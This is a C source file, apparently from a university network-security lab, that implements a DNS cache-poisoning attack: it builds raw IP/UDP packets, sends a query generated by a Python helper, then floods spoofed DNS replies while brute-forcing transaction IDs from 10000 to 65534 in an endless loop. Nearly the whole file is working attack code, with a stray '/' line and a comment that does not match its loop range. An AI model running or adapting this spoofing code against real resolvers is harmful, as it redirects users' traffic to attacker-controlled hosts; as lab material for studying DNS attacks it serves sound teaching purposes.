计网安全.c(1)

#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <stdlib.h>
#include <libnet.h>
// The packet length
#define PCKT_LEN 8192
#define FLAG_R 0x8400
#define FLAG_Q 0x0100
// Can create separate header file (.h) for all headers' structure
// The IP header's structure
struct ipheader
{
unsigned char iph_ihl : 4, iph_ver : 4;
unsigned char iph_tos;
unsigned short int iph_len;
unsigned short int iph_ident;
// unsigned char iph_flag;
unsigned short int iph_offset;
unsigned char iph_ttl;
unsigned char iph_protocol;
unsigned short int iph_chksum;
unsigned int iph_sourceip;
unsigned int iph_destip;
};
// UDP header's structure
struct udpheader
{
unsigned short int udph_srcport;
unsigned short int udph_destport;
unsigned short int udph_len;
unsigned short int udph_chksum;
};
struct dnsheader
{
unsigned short int query_id;
unsigned short int flags;
unsigned short int QDCOUNT;
unsigned short int ANCOUNT;
unsigned short int NSCOUNT;
unsigned short int ARCOUNT;
};
// This structure just for convinience in the DNS packet, because such 4 byte data often appears.
struct dataEnd
{
unsigned short int type;
unsigned short int class;
};
// total udp header length: 8 bytes (=64 bits)
unsigned int checksum(uint16_t *usBuff, int isize)
{
unsigned int cksum = 0;
for (; isize > 1; isize -= 2)
{
cksum += *usBuff++;
}
if (isize == 1)
{
cksum += *(uint16_t *)usBuff;
}
return (cksum);
}
// calculate udp checksum
uint16_t check_udp_sum(uint8_t *buffer, int len)
{
unsigned long sum = 0;
struct ipheader *tempI = (struct ipheader *)(buffer);
struct udpheader *tempH = (struct udpheader *)(buffer + sizeof(struct ipheader));
struct dnsheader *tempD = (struct dnsheader *)(buffer + sizeof(struct ipheader) + sizeof(struct udpheader));
tempH->udph_chksum = 0;
sum = checksum((uint16_t *)&(tempI->iph_sourceip), 8);
sum += checksum((uint16_t *)tempH, len);
sum += ntohs(IPPROTO_UDP + len);
sum = (sum >> 16) + (sum & 0x0000ffff);
sum += (sum >> 16);
return (uint16_t)(sum);
}
// Function for checksum calculation. From the RFC,
// the checksum algorithm is:
// "The checksum field is the 16 bit one's complement of the one's
// complement sum of all 16 bit words in the header. For purposes of
// computing the checksum, the value of the checksum field is zero."
unsigned short csum(unsigned short *buf, int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (unsigned short)(sum);
}
void send_pkt(char* buffer, int pkt_size)
{
struct sockaddr_in dest_info;
int enable=1;
int sock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable));
struct ipheader *ip = (struct ipheader *)buffer;
struct udpheader *udp = (struct udpheader *) (buffer + sizeof(struct ipheader));
dest_info.sin_family = AF_INET;
dest_info.sin_addr.s_addr = ip->iph_destip;
udp->udph_chksum=check_udp_sum(buffer, pkt_size-sizeof(struct ipheader));
if(sendto(sock, buffer, pkt_size, 0, (struct sockaddr *)&dest_info, sizeof(dest_info)) < 0){
printf("packet send error %d which means %s\n",errno,strerror(errno));
}
close(sock);
}
int main(int argc, char *argv[])
{

// dns fields(UDP payload field)
// relate to the lab, you can change them. begin:

while(1)
{
system("sudo python3 general_dns.py"); // random pkt 这里要修改文件名为你自己建立的python脚本名
// read pkt
FILE * f_q = fopen("query.bin","rb");
char q_buffer[PCKT_LEN];
int q_n = fread(q_buffer, 1, PCKT_LEN, f_q);
send_pkt(q_buffer, q_n);
FILE * f_r = fopen("reply.bin","rb");
char r_buffer[PCKT_LEN];
int r_n = fread(r_buffer, 1, PCKT_LEN, f_r);
for(unsigned short i=10000;i<65535;i++){ //random id:1000~2000
unsigned short order=htons(i); //little->big
memcpy(r_buffer+28,&order,2);
send_pkt(r_buffer, r_n);
}
}
/
//
// DNS format, relate to the lab, you need to change them, end
//
//
return 0;
}